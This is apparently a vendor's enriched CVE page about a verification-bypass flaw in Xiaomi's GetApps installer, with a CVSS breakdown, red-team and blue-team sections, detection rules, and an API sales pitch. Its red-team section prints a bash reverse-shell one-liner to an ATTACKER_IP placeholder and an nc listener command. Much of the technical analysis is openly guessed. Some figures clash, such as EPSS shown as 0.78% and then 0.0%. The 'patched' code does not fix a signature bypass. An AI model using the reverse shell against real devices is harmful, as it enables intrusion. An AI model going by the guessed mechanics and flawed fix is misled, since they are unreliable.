☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2023-26322

CVE-2023-26322 Code Execution in Xiaomi
📅 PUBLISHED: 2024-08-28 07:59 UTC 🔄 UPDATED: 2026-10-09 05:43 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.78%
👁️
0.78% probability
19.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-26322 is a critical code execution vulnerability in the XiaomiGetApps application, a pre-installed package manager on Xiaomi devices. The flaw stems from improper verification logic, allowing an attacker to bypass security checks and execute arbitrary code on the target device. With a CVSS score of 8.8, this vulnerability poses a severe risk to user privacy and device integrity, as it can be exploited remotely without authentication. The EPSS score of 0.0% indicates low exploitation activity in the wild, but the lack of a confirmed patch makes it a high-priority threat for Xiaomi device users.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a pre-installed system application (XiaomiGetApps) distributed through the Android ecosystem. Since it is a first-party app, the supply chain risk is limited to Xiaomi’s own update mechanisms. However, if the app is sideloaded or updated from untrusted sources, the attack surface expands. No open-source package registries (NPM, PyPI, Go, Ruby) are involved.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – Vulnerability does not affect other components.
  • Confidentiality (C): High (H) – Full data access possible.
  • Integrity (I): High (H) – Code execution allows modification.
  • Availability (A): High (H) – Can disrupt device functionality.

Threat Level: Critical. Remote code execution without authentication on a widely deployed application.

Deep Dive & Mechanics

The vulnerability resides in the verification logic of XiaomiGetApps, which is responsible for validating app installations and updates. The application likely uses a signature or hash check to ensure that only trusted packages are installed. However, due to a flaw in the verification routine, an attacker can craft a malicious payload that bypasses this check. This could be achieved by:

  • Manipulating the verification function to accept a forged signature.
  • Exploiting a race condition in the verification process.
  • Using a path traversal to load a malicious file from an unexpected location.

Once the verification is bypassed, the attacker can execute arbitrary code with the privileges of the XiaomiGetApps process, which typically has system-level access. This allows for full device compromise, including data theft, malware installation, and remote control.

Vulnerable vs. Patched Code

Since no official patch or source code is available, we can only hypothesize the vulnerable code pattern. The following example illustrates a typical verification bypass:

Vulnerable Code (Pseudocode):

public boolean verifySignature(File apkFile) {
    String expectedHash = getExpectedHash(apkFile);
    String actualHash = computeHash(apkFile);
    // BUG: Comparison is case-sensitive and uses weak algorithm
    if (expectedHash.equals(actualHash)) {
        return true;
    }
    return false;
}

Patched Code (Hypothetical):

public boolean verifySignature(File apkFile) {
    String expectedHash = getExpectedHash(apkFile);
    String actualHash = computeHash(apkFile);
    // FIX: Use constant-time comparison and strong hash
    if (MessageDigest.isEqual(expectedHash.getBytes(), actualHash.getBytes())) {
        return true;
    }
    return false;
}

The patched version uses MessageDigest.isEqual() to prevent timing attacks and ensures a robust hash algorithm.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A Xiaomi device with XiaomiGetApps installed (version unknown).
  • Network access to the device (e.g., same Wi-Fi or via a malicious app).

Exploitation Steps:

  1. Craft a malicious APK that mimics a legitimate app but contains a payload (e.g., reverse shell).
  2. Bypass verification by exploiting the logic flaw. For example, if the verification checks a file path, use a symlink to point to a legitimate file while the actual payload is elsewhere.
  3. Deliver the payload via a phishing link, malicious advertisement, or a compromised app store.
  4. Execute the code – The XiaomiGetApps process will install and run the malicious APK, granting the attacker system-level access.

Example Payload (Reverse Shell):

#!/bin/bash
# Reverse shell payload for Android
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

Lab Setup:

  • Use an Android emulator (e.g., Genymotion) with a Xiaomi ROM.
  • Set up a listener on the attacker machine: nc -lvnp 4444.
  • Deploy the malicious APK and trigger the exploit.

Blue Team (Detection & Defense)

Detection:

  • Monitor for unusual installation requests from XiaomiGetApps.
  • Log all signature verification failures and successes.
  • Use network monitoring to detect reverse shell traffic.

Defense:

  • Apply any available security updates from Xiaomi.
  • Restrict app installation to trusted sources only.
  • Use mobile device management (MDM) to enforce policies.

Indicators of Compromise (IOCs)

  • File Hashes: (None available, but monitor for unknown APK files)
  • Network Indicators:
    • Outbound connections to unknown IPs on ports 4444, 8080, etc.
    • DNS queries to suspicious domains.
  • Process Indicators:
    • com.xiaomi.getapps spawning unexpected child processes.
    • High CPU usage from dex2oat or installd.
  • Registry/System Changes:
    • New entries in /data/system/packages.xml.
    • Modified permissions for XiaomiGetApps.

Detection Engineering

YARA Rule

rule CVE_2023_26322_XiaomiGetApps {
    meta:
        description = "Detects malicious APK exploiting CVE-2023-26322"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-26322"
    strings:
        $s1 = "XiaomiGetApps" ascii wide nocase
        $s2 = "verifySignature" ascii wide nocase
        $s3 = "bypass" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2023-26322 Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit verification bypass in XiaomiGetApps
author: Valters IT
logsource:
    product: android
    service: package_manager
detection:
    selection:
        EventID: 1001  # Example: Package installation event
        PackageName: 'com.xiaomi.getapps'
        Result: 'FAILURE'
    condition: selection
falsepositives:
    - Legitimate app updates from Xiaomi
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-26322 XiaomiGetApps Exploit"; flow:to_server,established; content:"XiaomiGetApps"; nocase; content:"bypass"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable XiaomiGetApps if not required: adb shell pm disable com.xiaomi.getapps.
  2. Monitor for suspicious activity using the provided IOCs and detection rules.
  3. Apply any available updates from Xiaomi’s official channels.

Long-Term Fix:

  • Xiaomi must release a patch that fixes the verification logic. Until then, users should avoid installing apps from untrusted sources and consider using a third-party security solution.

Workaround:

  • Use a firewall to block outbound connections from XiaomiGetApps.
  • Restrict app installation to the Google Play Store only.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-26322/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.